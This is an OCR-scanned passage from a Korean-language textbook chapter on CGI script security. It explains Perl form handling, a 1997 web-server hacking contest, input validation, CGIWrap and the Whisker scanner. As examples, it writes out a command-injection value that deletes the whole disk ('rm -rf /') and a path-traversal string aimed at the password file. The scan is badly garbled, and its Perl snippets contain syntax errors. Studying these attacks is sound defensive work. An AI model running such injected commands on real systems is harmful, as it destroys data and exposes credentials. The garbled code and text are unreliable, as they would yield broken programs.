print MESSAGE “To: $FORM{submitaddress}\ n”; 
print MESSAGE “From: $FORM{name}\ n”; 
print MESSAGE “Reply-To: $FORM{ email }\ n” 
print MESSAGE “Subject: Feedback from $FORM{name} at 
$ENV{‘EMOTE_HOST，\ n\ n”; 

print MESSAGE “The user commented ：\ n\ n”; 
print MESSAGE “$FORM {feedback}\ n”; 
close (MESSAGE) ； 

技 thank_you; 
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# The following code creates a web page that confirms 
t e=mail was sent 
sub thank_you { 




print “Content-type: text/html\ n\ n”; 
print £1 <HTML>\ n”; 
print “<HEAD>\ n”; 

print “<TITLE>Thank you!</TITLE>\ n”; 
print “<HEAD>\ n”; 

print “〈BODY BGCOLOR 과 FFFFCC TEXT=#000000>\ n”; 
print “<Hl>Thank You!</Hl>\ n”; 
print “\ n”; 
print “<P>\ n”; 

print “<H3>Your feedback has been sent.<BR>\ n”; 

print “<P>\ n”; 

print “</BODY>\ n”; 

print “<HEAD>\ n”; 

exit (0); 

} 

코드의 시 작에서는 Perl 분석 기 (interpreter) 의 위 치를 지정 한다. 이 스크립트가 달 
리는 Web 봉사기의 경우에 Perl 분석기는 등록부 /usr/local/bin/Perl 에 위 치하고 있다. 

이것은 분석기가 스크립트를 실행할 때 그것을 번역하는데 리용되기때문에 프로그람 
에서 그것을 요구한다(즉 사용자가 Send 를 찰칵할 때). 이 코드행이 없이 스크립트는 
번역될수 없으며 결국 실행될수도 없다. 

프로그람의 다음부분은 Web 페지의 양식으로부터 자료를 받아 들이는데 리용된다. 
이부분은 자료가 처리되여 다음부분의 프로그람에서 리용될수 있게 하는데 거기에서는 
매 변수의 자료를 전자우편통보문으로 놓는다. 일단 이것이 수행되면 스크립트의 마지막 
부분이 실행된다. 여기서 Web 페지가 만들어 지며 초기에 자료를 넣은 사용자에게로 돌 
아 간다. 이 HTML 문서는 반결합물이 전송되였는가를 확인한다. 결국 사용자의 과제가 
수행되며 어떤 사람이 싸이트를 계속 열람할수 있는가를 알려 준다. 

2. 언제 CGI 를 리용하여야 하는가 

◦이는 우리가 동적 이면서 호상작용하는 Web 폐지를 제공하려고 할 때， Web 봉사기 
의 함수들과 능력들의 우점을 취할 필요가 있을 때 리용되여야 한다. CGI 스크립트들은 
자료기지 에서 정보를 람색하여 보관하는것，양식들을 처 리하는것 또한 봉사기 에서 리용 
가능하고 다른 방법들을 통해 접근할수 없는 정보를 리용하는것을 우점으로 가지고 있다. 
하지만 의뢰기측과 봉사기 측 스크립 트들과 프로그람들은 차이 점들을 가지 기때 문에 우리 
는 CGI 가 언제 보다 좋게 선택되는가에 일련의 관심을 가질수 있다. 

우리는 문제거 리들이 광범한 사용자호상작용과 함께 일 어 날수 있기때문에 사용자 
호상작용을 제 한할 때 CGI 프로그람들의 리용을 고려해 야 한다. Java, JavaScript, 
ActiveX 기 타 의뢰기측 스크립트들과 부분품들은 뚜렷한 사용자호상작용이 존재할 때 
리용된다. 차이는 CGI 스크립트들과 프로그람들이 설사 Web 봉사기에서 달린다고 할지라 
도 의뢰기측 스크립트나 프로그람은 반드시 사용자를퓨터의 주기억 에 적재되 여 야 하며 
그다음 열람기를 통해 현시되여야 한다는것이 다. 만일 사용자콤퓨터가 프로그람을 적재 
하기 위한 기억기를 가지고 있지 못하거나 열람기가 스크립트나 부분품을 지원하지 않고 
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있다면 그것들은 동작하지 못할것 이 다. 

다른 한편 JavaApplet, JavaScript, ActiveX 부분품들 그리고 이와 류사한 기술수 
법들이 의뢰기의 콤퓨터에서 실행된다. 따라서 프로그람과의 계속적인 호상작용은 바로 
그 콤퓨터에서 진행되기때문에 인터네트를 걸쳐 요구들과 결과들을 통과시키는데 비하여 
더 빠르다. 더우기 의뢰기측 스크립트들과 애플레트들이 CGI 에 의하여 실현된 여러개의 
함수들을 실행하는데 리용되는 동안은 결과들이 항상 갈지 않다. 실례로 개발자는 현재 
날자와 시 간을 보여 주는 HTML 폐지 에 스크립트를 매 몰시 킬수 있지 만 이 정보는 그것 
이 달리 는 의 뢰기를퓨터 로부터 뽑아 진 자료일것 이 다. CGI 스크립 트는 Web 봉사기 에서 
달리며 봉사기에서의 날자와 시간을 되돌릴것 이 다. 만일 차이 나는 시간구역 (time zone) 
에 있는 의뢰기에 봉사기의 시간을 되돌리려고 한다면 이것은 싸이트에 관해서 중요한 
문제 거리로 될수 있 다. 

애플레 트， 스크립 트, 부분품들과 갈은것들은 의뢰기콤퓨터 에서 실행 되 기때 문에 보안 
위험들은 일반적으로 Web 봉사기가 아니라 의뢰기를 위협한다. 이 원인으로 하여 Java 
와 ActiveX 를 지 원 받는 열 람기 들은 일 반적 으로 제 3 장에 서 설 명한것 처 럼 사용자가 이 
부분품들을 사용하지 못하도록 선택권을 가지고 있다. 만일 그것들을 사용하지 못하게 
하였거 나 지 원 받지 못했 다면 그것 들을 인터 네 트열 람기 (Internet Browser) 창문에 Web 
폐지의 부분으로서 적재할수 없다. 더우기 만일 의뢰기콤퓨터가 망우에 있다면 
JavaScript, Java 애플레트들 그리고 ActiveX 부분품들은 역시 방화벽에 의해서 Web 페 
지 로부터 지워 질수 있다. 방화벽은 인터네트로부터 국부망에로 계속 통과할수 있는것들 
을 조종 할수 있는 쏘프트웨 어이므로 그것이 의뢰기콤퓨터를 통과하기전에 이것들을 
Web 페지 로부터 빼앗을수 있다. ◦이와 방화벽은 관계되지 않지만 프로그람의 실행 이 
Web 봉사기 에서 일어 나기때 문에 오직 자료만이 HTML 문서의 부분으로서 의뢰기 에 되 
돌려 질것 이다. 

애플레트，부분품 그리고 의뢰기측 스크립트들에 대한 또 다른 약점은 프로그람작성 
을 완성할 때 그것들이 차지하는 용량에 대한 제한을 받는다는것이다. 이것들 매개는 그 
것이 의뢰기의 열람기에 적재되기전에 인터네트를 걸쳐 전송되여야 한다. 때문에 이것들 
의 크기는 상대적으로 작아야 하며 인터네트를 거쳐 빨리 전송될수 있도록 일부 기능들 
을 지워 버릴 필요가 있다. CGI 프로그람들과는 이러한 론의점이 생기지 않는다. CGI 프 
로그람들은 의뢰기콤퓨터로 수송되지 않기때문에 그만큼 용량을 크게 할수 있다. 처리후 
에 오직 전체 프로그람이 아니라 결과자료만이 사용자에게 되돌려 질 필요가 있다. 

3. 론의대상을 숙박시키는 CGI 스크립트 

Web 봉사기를 설치하면 좋은것은 ◦이를 위한 기능이 미리 설치되는것이다. 현재 시 
장거래되고 있는 가장 많은 Web 봉사기들은 CGI 를 지원하기때문에 Web 봉사기가 설치 
될 때 그에 대 한 자원을 함께 설 치한다. 이것은 Web 봉사기 가 달리는 조작체계 에 관계 
없다. 

CGI 는 교 차 가동 환 경 (cross-platform) 기 술 이 므 로 만 일 Web 봉 사 기 가 Unix, 
Windows NT, Windows 2000, Macintosh 혹은 임의의 다른 수많은 조작체계들에서 
달리고 있다 해도 문제로 될것은 없다. 그러나 이것은 한개 가동환경에 있는 CGI 프로그 
탐이 다른 가동환경에서 달리는 Web 봉사기 에서 자동적으로 동작한다는것을 의미 하지는 
않는다. 프로그람들은 흔히 특수한 조작체계나 지어 리용된 하드장치의 형태에 따라서 
를파일되 거 나 작성 되 기때 문에 그것 이 를파일언어 로 작성되 였다고 하면 다른 조작체 계 에 
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대하여 그것을 다시 작성하여 콤파일할 필요가 있을수 있다. 다시 말하여 가동환경독립 
으로 작성되였지만 Windows NT 기대에서 콤파일된 프로그람은 여전히 Macintosh 기대 
에서 를파일할 필요가 있을것이다. 그렇지 않다면 서로 다른 조작체계들은 프로그람을 
실 행할수 없을것 이 다. 게 다가 스크립 트들은 서 로 차이 나는 가동환경 들에 서 의 다양한 붙 
일치와 서로 달라 진 명령들을 지원하기 위해 변화되여야 할 필요가 있다. 

만일 싸이 트가 자기 소유의 Web 봉사기 에 는 거 주하지 않으나 인터네 트봉사제 공자 
( ISP：Internet Service Provider ) 의 봉사기 에 숙박하고 있다면 우리는 ◦이를 리 용하지 
못할수 있다. 많은 ISP 들은 CGI 지원을 제공하지 않고 있는데 그것은 빈약하게 작성된 
스크립트들과 프로그람들은 보안위협으로 되고 그것들이 Web 봉사기 에 숙박한 싸이트들 
과 다른것들의 보안을 위태롭게 할수 있기때문이다. 만일 ISP 가 우리에게 자기가 가지 
고 있는 스크립트들과 프로그람들을 달리게 허락하지 않으면 우리는 그것을 허락하는 다 
른 ISP 를 리 용하겠는가 아니면 자기 가 가지 고 있는 Web 봉사기를 취급하겠는가를 결심 
하든가 혹은 자기 싸이트에 있는 ◦이를 리용하지 않는다는 결심을 내려야 할것이다. 

◦이를 리용하는 봉사기의 싸이트들을 허 락하는 ISP 들은 흔히 그것들을 위한 CGI - 
BIN 등록부를 만드는데 그것으로 허용조건들을 조종하고 위험요소들을 최소화한다. 


제 2 절. 약한 CGI 스크립트로부 E 나 초래되는 침입 


Web 싸이트를 해 킹하는 한가지 가장 보편적 인 방법 이 빈약하게 작성된 CGI 스크립트 
들을 찾아 리용하는것이다. CGI 스크립트를 리용하여 우리는 싸이트에 대한 정보를 얻을 
수 있으며 자기 가 보통 보거 나 내 리적재할수 없는 등록부들과 파일들에 접근하기 위한 
정보를 얻음으로써 여 러가지로 바라거 나 바라지 않는 행동들을 할수 있다. CGI 프로그람 
을 리 용한 가장 대 중화된 한가지 공격 이 《 CrackA - Mac 》 시 합으로 발생 하였 다. 

1997년에 《Infinit Information AB > 라고 부르는 스위 스상담소는 자기 들의 Web 봉 
사기 를 해 킹 한 사람에 게 100000크로너 ( kroner ) (약 15000$) 현금을 제 공한다고 공포하였 
다. 이 체계는 Macintosh 8500/150콤퓨터에서 Webstar 2.0 Web 봉사기를 돌리고 있었 
다. 믿기 어 려울 정도의 수많은 해 킹시도가 있은후에 시 합은 상품이 전혀없이 끝났다. 
Macintosh 에 대 한 문제 해 결의 실마리 는 Web 싸이 트를 달리 기 위한 한가지 가장 좋은 
가동환경 이 라고 간주되고 있다. 

한달가량 지나서 시합이 다시 시작되였다. 이때는 Blue World 로부터 구입한 Lasso 
Web 봉사기 가 리 용되 였 다. 앞에 서 진행한 시 합에서 와 같이 방화벽 은 전혀 리 용되 지 않 
았다. 이 경우에 상업적 인 CGI 스크립트는 관리자가 싸이트를 관리하도록 원격가입등록 
할수 있게 설치되였다. Web 봉사기는 지정한 창조자코드를 가지는 파일들을 봉사로부터 
막는 보안특징 을 리 용하였으므로 CGI 스크립 트를 위한 통과암호파일 은 이 창조자코드를 
사용자들이 파일로서 내 리적재할수 없게 하는데 리용되 였다. 유감스럽게도 또 다른 CGI 
프로그람은 FileMakerPro 자료기지에서 뽑은 자료를 호출하는 싸이트에서 리용되였는데 
봉사기는 Web 봉사기와는 다르게 사용될수 있는 파일종류를 제한하지 않았다. 해커는 
이와 같은 봉사기의 우점을 취하는데로 체계를 관리하였다. 즉 통과암호파일을 파괴시킨 
후 가입등록하였고 싸이트를 위한 새 홈폐지를 올리적재하였다. 시합이 시작되여 24시간 
안으로 승리를 이륙하고 보안구멍들을 메꿨다. 
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설사 Web 봉사기, Macintosh 가동환경 그리고 봉사기에 있는 프로그람들이 적당히 
환경설치되고 합리적인 보안을 가졌다고 할지라도 이것들과 CGI 스크립트와의 결합은 접 
근하는데 채용할수 있는 보안구멍들을 만들어 냈다. 이 사실은 어떻게 CGI 프로그람들이 
싸이트를 해킹하는데 리용될수 있는가를 보여 줄뿐아니라 새로운 스크립트들이 첨가된후 
에 검사가 꼭 필요하다는것과 Web 싸이트에서 리용할 CGI 프로그람들을 제 한해 야 한다는 
것을 보여 주고 있다. 

자기 싸이트에 첨가된 새로운 매 스크립트를 가지고 우리는 보안구멍에 대한 체계검 
사를 반드시 진행하여야 한다. 앞에서 든 실례에서 본것처럼 체계에 있는 요소들의 결합 
은 Web 싸이 트를 쉽게 파괴할수 있게 만든다. 명백 히 우리는 자기의 CGI 스크립트나 프 
로그람이 접근에 리용될수 있는 한가지 방법이라는것을 놓칠수는 있지만 새로운 스크립 
트가 첨 가될 때마다 구멍 이 있는 곳을 찾기 위 하여 노력 해 야 한다. 이와 갈은 구멍들을 
찾는데 리용할수 있는 한가지 도구가 위스커와 같은 CGI 검사프로그람들인데 이에 대하 
여서는 앞으로 론의한다. 


도구와 함정... 


사용자입구에 주목 

CGI 스크립트들과 프로그람들을 채용하는 한가지 가장 보편적 인 방법 이 사용자 
가 입구를 허 락할 때 사용된다. 그러 나 이때 사용자들이 제출하는 자료는 검사되지 
않는다. 어떤 정보를 사용자들이 제출할수 있는가를 조종하는것은 CGI 스크립트를 
통하여 훌륭히 해 킹할수 있는 당신의 운수놀음으로 될것 이 다. 이것은 양식을 거 쳐 
자료가 제출될수 있는 방법 (내 리펼 침목록들，검사칸들과 다른 방법들을 리용함으로 
써)들을 제한할뿐아니 라 당신의 응용프로그람에로 통과되는 자료형태를 조종하기 
위해 당신의 프로그람을 적 당히 코드화함으로써 제 한하게 된다. 이것은 오직 필요 
한만큼 문자수를 제 한하는것 처 럼 문자마당들에서 의 입 력유효범 위 를 포함할것 이 다. 
실 례 는 5 개 의 수자문자로 제 한되 는 zip 코드마당이 될 것 이 다. 


명심해야 할 또 다른 중요한 문제는 자기의 Web 싸이트가 복잡해 지면 질수록 보안 
구멍이 생길수 있는 기회들은 더욱더 많아 진다는것이다. 새 등록부들이 만들어 지기때 
문에 정확한 규칙설정들을 빼놓을수 있는데 이것은 민감한 자료 (sensitive data: 변동하 
기 쉬운 자료를 의미함)에 접근하거나 다른 등록부들을 검색하는데 리용될수 있다. 가장 
좋은 실천은 될수록 단독인 등록부에 모든 CGI 스크립트들과 프로그람들을 보존하기 위 
하여 노력하는것 이 다. 게 다가 첨가된 새로운 매 CGI 스크립트과 함께 우리는 스크립트나 
스크립 트들의 결 합으로 인한 취 약성 들이 싸이 트를 해 킹 하는데 리 용되 도록 기 회 들을 만드 
는 중매를 설수 있다. 이 원인으로 하여 우리는 오직 기능을 위해，특히 보안이 론의점 
인 싸이트를 위해 자기의 싸이트에 명백히 첨가할 필요가 있는 스크립트들만을 리용해야 
한다. 
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1. <보다 빈를 없는〉 CGI 스크립트를 어떻게 작성하겠는가 

수많은 보안구멍들이 빈약하게 작성된 스크립트들에 존재할수 있으므로 만일 해커들 
이 특수한 취 약성에 대하여 알면 그것들을 싸이트를 해 킹하는데 리용할수 있다. 자기의 
체계에 모자를 씌우면 매 보안구멍은 해커들에게 보다 어려움을 조성할것이며 그들의 앞 
으로의 공격시도를 단념시킬수 있다. CGI 스크립트들은 이와 갈은 취약성들을 제공할수 
있기때문에 그것들이 사용되기전에 있을수 있는 문제거 리들을 알아 내는것이 중요하다. 

보편적 인 잘못들을 피하고 CGI 스크립트들을 창조할 때의 좋은 경험들을 따름으로써 
자기의 체계에 대한 해킹을 막는 보다 빈름 없는 코드를 작성할수 있다. 여기서 우리는 
허 용조건 ( permission ) 들과 사용자입구의 조종과 오유정정 코드 ( error-handling code ) 의 
리용에 관한 문제들을 론의 할것 이 다. Submit 를 찰칵하면 자료는 이때 처 리되 고 있는 
CGI 프로그람에 로 통과된다. 하지만 한편 이것은 CGI 프로그람들에 접근하기 위한 보편 
적인 방법이며 그것들이 봉사기의 어디에 거주하고 있는가를 사용자들이 안다면 직접 스 
크립트를 호출할수 있다는것을 명심하는것이 중요하다. 이것은 의뢰기측 스크립트가 그 
것을 보내기전에 자료를 정당화하는 Web 폐지에 리용되는가 하는 문제일수 있다. GET 
방법은 URL 의 부분으로서 봉사기에 자료를 보낸다. 만일 사용자들이 자기들의 열람기 
의 주소칸에 원하는 임의의 자료를 가진 URL 를 직접 입력시킨다면 해커들이 자료를 정 
당화하는데 리용하는 임의의 의뢰기측 스크립 트작성을 피할수 있다. 만일 POST 방법 을 
리용하면 CGI 스크립트에 자료를 통과시키는것을 더욱 어럽게 만들것이다. 하지만 이것 
은 사용자가 CGI 스크립트를 호출하는 어떤 사람의 Web 폐지를 창조할 때 그가 바라는 
임의의 자료를 사용자가 대 신 입력시키는것을 피할수 있게 한다. 의뢰기측 스크립트들은 
사용자에 의하여 보여 지 고 가능한껏 조작될수 있기 때 문에 스크립트가 수신하는 자료를 
정 당화하기 위한 코드를 CGI 프로그람자체에 써넣어 야 한다. CGI 스크립트는 봉사기에서 
자체 로 달리기때문에 사용자는 검사하는 자료를 에돌수 없으며 프로그람에 맞지 않는 자 
료를 통과시 킬수 없다. 

개발자는 자기 CGI 프로그람으로 통과하는 자료를 절대로 믿지 말아야 한다. 이것은 
만일 사용자에게 파일경 로의 입 력을 허 락하거 나 특수한 파일을 적재하는 CGI 프로그람을 
호출하는 하이퍼 련결들을 리용하게 한다면 특별히 명심해 야 할 중요한 문제 이 다. 실례 로 
사용자들이 회 사가 판매하는 제 품들에 대 한 일 반적 인 론의점 들을 포함하는 문서 들을 열 
수 있는 싸이트에 지식기지 (Knowledge Base ) 를 더 하려고 한다고 보자. 이때 Web 페지 
는 사용자들에게 본문파일들을 열수 있게 하는데 1들은 CGI 스크립트를 리용하여 이것 
을 형식화 ( format ) 한다. CGI 스크립트로 통과한 인수 ( argument ) 는 그 파일에 대한 경 
로일것이다. 만일 페지가 경로를 입력시켜 열려는 본문파일을 지정하게끔 사용자들한테 
문의하면 그들은 체 계가 접근할수 있는 임의의 파일을 열수 있거 나 자기들의 열 람기의 
주소칸에 URL 에로의 경로를 입력시킬수 있다. 만일 그들이 통과암호파일의 경로와 파 
일이 름을 넣 으면 CGI 스크립 트는 사용자에 게 그 통과암호파일의 내 용물들을 현시할것 이 
다. 실례로 만일 CGI 프로그람이 자동적으로 / inet / docs 등록부에 있는 문서들을 살핀다 
고 하면 사용자는 URL 에 경로 《../../ etc / password 》 를 입력시킬수 있다. 때문에 어 
디서 자기의 CGI 프로그람이 문서들을 조사하며 또 어떻게 그 등록부에 대한 허용조건들 
을 줄것인가를 미리 조종하여야 한다. 문서구조에서 이 등록부보다 더 웃쪽에 있는 등록 
부를 사용자들이 리 용하는것 을 막기 위하여 경 로에 “…” 서 술문들을 허 용하지 말아야 
하며 접근을 조종하는 적당한 허용조건들이 매 등록부에 설정되였는가를 확인해야 한다. 

프로그람에 통과되는 나쁜 자료와 관련된 또 다른 류사한 문제거리는 열려고 지정한 


107 




파일 에 보충적 인 문자들이 추가되 거 나 그것 들이 CGI 프로그람에 의해 리 용될 때 이 다. 멜 
( Shell ) 스크립트에서 반두점 은 지령행의 끝을 표시하는데 리용된다. 스크립트에서 

는 반두점후에 또 다른 새 지령이 놓일수 있는데 이 지령은 그다음 계속하여 실행된다. 
따라서 사용자들은 문서 를 열 도록 문서이 름을 지 정 하고 반두점 을 입 력 시 킨 다음 두번째 
지령을 넣을수 있다. 실례로 그들이 help . txt 라는 문서를 열려고 할 때 다음과 같이 입 
력시킬수 있다. 

Help.txt ;rm -rf / 

이 코드는 Help . txt 라는 문서를 열게 한다. 일단 그것이 열리면 두번째 지령이 실 
행되는데 이것은 확인문의도 없이 하드디스크를 지울것이다. 이로부터 사용자입구를 조 
종할 필요가 있으며 CGI 스크립트를 호출할 때 그것들이 무엇을 수행하는가를 명백히 조 
사할 필요가 있다. 

중요한것은 사용자들로부터 온 자료를 집합시키는데 리용된 양식 이 CGI 스크립트와 
호환될수 있는가를 확인하는것이다. 한편 실수로 인한 오유들로 하여 또 양식에 틀린 이 
틈이나 값을 넣어 보다 일반적인 문제거리를 일으킬수 있는 다른 상태들도 있다. Web 
봉사들을 제공하는 보다 큰 회사들과 사무기관들에서는 여 러 사람들이 Web 싸이트에 
생긴 차이나는 측면들에 대한 책임을 질수 있다. 여러명이 모여 일하는 그룹내에서는 한 
사람은 도형을 만들고 다른 사람은 CGI 스크립트를 작성하며 또 다른 사람은 HTML 문서 
를 작성함으로써 Web 싸이트를 창조할수 있다. 이렇게 할 때 오유들이 나올수 있다. 이 
것때문에 여러사람들이 다 정확히 서로 작업했는가를 확인하기 위하여 자기의 싸이트에 
있는 양식들과 CGI 스크립트들에 대한 평가를 무조건 해야 한다. 

코드를 검사하는데서는 이름들과 값들이 정확한가를 눈으로 쭉 훑어 보는 형식으로 
검사할것을 요구할뿐아니라 역시 그것이 수신하는 자료를 CGI 스크립트에서 실현하는 검 
사용코드를 포함시켜 검사하도록 해야 한다. 창조한 CGI 스크립트들은 거기로 통과한 자 
료가 정 확하다고 가정 하고 설계되 여서는 안된다. 이것을 보여 주기 위하여 우리 한테 사 
용자훑어보기 ( survey ) 들을 집 합하는 양식 이 있다고 하자. 양식에서는 질문 《Do you 
drink coffee ? (당신은 커피를 마시겠습니까?)》를 한다. 이밑에 사용자입구를 조종하는 
2개의 라지오단추가 있는데 이것은 사용자가 대답 《 Yes 》 (예)나 《 No 》 (아니)를 하게 
한다. 이 질 문을 처 리 하기 위하여 자기 스크립 트에 다음의 코드를 써 줄수 있 다. 

If ($ form _ Data { “ my _ choice ” } eq “ button _ yes ” ) 

{ 

# Yes has been clicked 

} 

else 

{ 

# No has been clicked 

} 

사용자가 이 러저 러 하게 답변한다고 생각하고 만일 한개 라지오단추를 찰칵하면 다른 
것은 해제되도록 한다. 이것 이 바로 처 리하는 코드가 만드는 착오이 다. 만일 사용자가 
라지오단추들가운데 서 한개 를 선택하는데 실패하면 아무것 도 선택 되 지 않을것 이 다. 또 
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다른 가능성은 두개 라지오단추를 다 찰칵하는 사용자가 있을수 있는데 그러면 두 선택 
이 다 설정된다. 리용된 코드에 따라서 훑어보기자료를 비뜰어 지게 하는데로부터 프로 
그람을 붕괴시키는데까지 이르는 수많은 상태들이 나타날수 있다. 

이 와 같은 문제 들을 처 리 하기 위 하여 코드는 수신하는 자료를 분석 하고 문제 거 리를 
처 리하는 오유정 정 코드를 제 공하여 야 한다. 오유정 정 은 CGI 스크립 트로 통과한 맞지 않 
거 나 기 대되지 않는 자료를 처 리한다. 그것은 의심할바 없는 마당들이 꽉 채워 지지 않 
았다는것 을 사용자에 게 통지하는 통보문들을 되 돌리 게 하거 나 확실 한 자료를 무시하게 
한다. 만일 우리 가 이 전에 코드를 교정한적 이 없 이 자료를 검 사하고 오유 없는 자료를 
처 리 하기 위한 방법 을 제 공하는 코드를 취 급해 야 한다면 다음과 같이 할수 있 다. 

If ($ form _ Data { “ my _ choice ” } eq “ button _ yes ” ) 

{ 

麻 Yes has been clicked 

} 

else ($ form _ Data { “ my _ choice ” } eq “ button _ no ” ) 

{ 

# No has been clicked 

} 

else 

{ 

# Error handing 

} 

처리코드에서 우리의 선택에 따르는 자료는 검사된다. 만일 Yes 단추가 찰칵되면 코 
드의 첫 부분이 실행된다. No 단추를 찰칵하면 코드의 두번째 부분이 실행될것이다. 하 
지만 만일 우리의 선택이 이 값들과 전혀 맞지 않는다면 오유정정코드가 실행된다. 코드 
는 자료가 더는 이것을 에돌아 통과하지 못하게 하였기때문에 CGI 스크립트는 보다 안전 
하고 보안될수 있게 된다. 

2. 탐색가능한 색인지령 

우에서 한동안 우리는 양식들과 URL 들을 통하여 CGI 스크립트로 통과할수 있는 문 
제거리들을 설명하였는데 이것 이 스크립트나 프로그람으로 자료를 통과시키는 유일한 방 
법 은 아니 다. 람색 가능한 색 인들 (Seardiable indexes ) 은 사용자들이 정 보싸이 트를 람 
색하기 위한 자료를 입력시키게 한다. 왜냐하면 사용자들은 반드시 무엇을 탐색하는가에 
관한 정 보를 입력 시 켜 야 하며 그것들이 무엇을 위 해 람색 되고 있는가를 지 정 하는 본문을 
입력시켜여야 하기때문이다. 이것은 개발자가 사용자입구를 조종하기 위하여 할수 있는 
무엇 인가에 대 한 제 한을 받는다는것 을 의 미 하는데 그것 은 내 리 펼 침 목록들, 검 사칸들 그 
리고 사용자의 입력을 제한하는것 등을 단순히 리용할수 없기때문이다. 

이 제한조건외에 사용자들이 람색가능한 색인을 채용하는것을 막는데 리용한 방법들 
은 양식 이 사용자입구를 모으는데 리용된 때와 비슷하다. 개발자는 무슨 정보를 사용자 
가 입력시키는가를 검증하는 코드를 자기의 CGI 스크립트에 포함시켜야 한다. 양식들과 
CGI 스크립 트들에 대 한 이 장의 규정 들과 규칙 들을 따르면 역 시 자기 싸이트에 리용한 
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임의의 탐색가능한 색인들을 보안할수 있을것이다. 

탐색 가능한 색 인들에 대 한 유일 한 문제 거 리는 그것을 폭로할것 을 바라지 않지 만 사 
용자들에게 보여 줄수 있는 총체적 인 등록부의 내용물을 만들수 있다는것이다. 동적으로 
생성된 색 인은 싸이트에 있는 등록부들을 람색 하여 찾아 진것들에 기초한 색 인을 만들것 
이다. 이것은 비공개파일들을 폭로할수 있으며 나가서는 그것들을 통하여 해커들이 사용 
자에게 접근할수 있게 할것이다. 이것은 민감한 자료나 통과암호파일들이 봉사기에 기억 
되여 있고 그것들이 동적으로 생성된 색인에 포함된다면 특별한 문제거리를 야기시킬것 
이다. 사용자가 색인을 탐색하였을 때 그 어떤 사람은 파일목록을 보고 그것을 호출할수 
있는 가능성을 가질것이다. 이로부터 동적으로 탐색가능한 색 인들을 자기의 Web 봉사기 
로부터 사용하지 못하게 만들고 자기의 CGI 프로그람들을 가진 정적색인들만 리용하도록 
하여 야 한다. 


3. CGI Wrappers 

포장기 ( wrapper ) 프로그람들과 스크립 트들은 CGI 스크립 트들을 리 용할 때 보안을 증 
대시키는데 리용될수 있다. 그것들은 보안시험들을 제공하고 CGI 공정의 소유권을 조종 
할수 있으며 사용자들이 Web 봉사기의 보안을 손상시키지 않고 스크립트들을 달리게 할 
수 있다. 하지만 포장기스크립트들을 리용하는데서 중요한것은 그것들을 체계에서 실현 
하기전에 그것들이 실제 적 으로 무엇을 수행 하는가를 리해하는것 이 다. 

CGIWrap 는 수많은 보안시험들을 진행하는 포장기에 일반적으로 리용된다. 이 검사 
들은 실행하기 앞서 스크립트에서 달린다. 만일 이것들중 임의의 하나가 실패하면 스크 
립 트는 실 행 으로부터 금지 된 다. 이 검 사공정밖에 있는 CGIWrap 는 그것 을 소유한 사용 
자의 허 락들을 가진 스크립트들을 실행 한다. 다시 말하여 만일 개발자가 CGIWrap 를 가 
지고 포장된 스크립트를 달렸다면 이것은 《 bobsmi 仕 1 》라는 이름이 붙은 사용자의 소유 
물로 될것이며 스크립트는 마치 bobsmi 仕 i 가 그것을 실행하는것처럼 달릴것이다. 이것은 
바로 그 등록자리와 관련한 꼭 갈은 허락들을 가지므로 이 등록자리가 접근할수 있는 파 
일에만 접근할것이다. 만일 해커가 스크립트에 있는 보안구멍들을 채용한다면 그 어떤 
사람은 오직 bobsmi 比!가 접근하는 파일들과 등록부들만 호출할수 있을것이다. 이것은 
그것 이 하는 일을 책 임 질수 있는 CGI 프로그람의 소유자 ( owner ) 를 만든다. 그러 나 CGI 
스크립트는 그것의 소유자가 접근하는데가 어 디든지 접근을 주기때문에 스크립트의 소유 
자가 관리자등록자리를 우연히 남겨 놓으면 주되는 보안위험으로 될수 있다. CGIWrap 
는 Source Forge 의 Web 싸이 트 http : / / Sourceforge . net / Projects / cgiwrap 에서 찾 
아 볼수 있다. 


4. 위스커 


위스커 ( Whisker ) 는 CGI 스크립 트들과 프로그람들의 취 약성 에 대 하여 Web 싸이 트를 
검사하는데 리용할수 있는 지 령행원격평가도구이 다. 이것자체는 CGI 스크립트로서 
Perl 언어 로 작성되 였기때 문에 쉽게 싸이트에 설 치할수 있다. 따라서 개 발자는 다시 한 
번 자기 망에 대 한 문제거 리들을 검사할수 있고 분석을 위하여 다른 싸이트를 지정할 
수 있다. 

위스커는 다른 많은 방법들에서 리용할수 있는 여러가지 CGI 검사프로그람들과 차이 
난다. 가장 큰 차이는 리용되고 있는 Web 봉사기에서 응용하지 못하는 체계에 대한 검 
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사는 진행하지 못한다는것이다. 이것은 위스커가 리용하고 있는 Web 봉사기의 형태와 
판본을 질문하고 나서 그것의 검사를 시작하기때문이다. 이것은 이 도구가 Microsoft 
Web 봉사기가 아닌 봉사기들에 있는 IIS (Internet Information Server : 인터 네트정보봉 
사기)에 국한된 취 약성들과 파일들은 조사하지 않는다는것을 의미한다. 

위스커의 또 다른 우점은 CGI 스크립트들을 기억할수 있는 다중등록부들을 지정할수 
있는 가능성을 준다는것 이 다. 비록 CGI 프로그람들이 일반적으로 CGI - BIN 등록부에 거주 
한다고는 하지만 이것 이 항상 있을수 있는 그런 경우는 아니 다. 많은 싸이트들은 
HTML 문서들이 있는 갈은 등록부에 자기들의 스크립 트들을 배 치하는데 이것 은 모든 사 
용자들에게 읽기허락을 준다. 이 허락은 사용자들에게 Web 폐지들과 그 등록부에 있는 
다른 임의것을 볼수 있는 가능성을 준다. 한편 이것은 보안위험을 조성하며 많은 CGI 검 
사프로그람들은 스크립트들이 있다는것 조차도 인식 하지 못한다. 왜 냐하면 그것들은 오직 
CGI - BIN 등록부에 서만 보여 지 기때 문이 다. 게 다가 많은 Web 봉사기 들은 이 스크립 트들 
과 프로그람들을 기 억하는 등록부에 대 하여 여 러 가지 이 름들을 지 정할수 있게 끔 한다. 
이와 같이 자기가 달고 싶은 임의의 이름을 CGI - BIN 에 붙일수 있다. 그러면 CGI 검사프 
로그람이 달려 도 CGI - BIN 등록부를 찾는데 서 재 차 실패하므로 스크립 트들이 전혀 존재 
하지 않는다거나 취약성들이 전혀 없다고 알릴것이다. 그러나 위스커는 사용자한테 다중 
등록부들을 지 정할수 있게 하고 자기 의 주사범 위 를 설 정할수 있게 하기 때 문에 채 용될 수 
있는 취약성들에 대하여 CGI 스크립트들을 적절히 검사할수 있다. 

위 스커는 무상배포되므로 WWW , wiretrip / rfp 로부터 얻 어 리 용할수 있 다. 위 스커는 
Perl 언어로 작성되였기때문에 보기프로그람 ( viewer ) 을 리용하여 그것을 열어 볼수 있으 
며 그것이 무엇을 하는가를 정확히 분석할수 있다. 특히 위스커가 일단 설치되면 개발자 
는 그의 일부 다른 변종들을 만들어 내기 위하여 꼭 열어 볼 필요가 있다. 위스커를 리 
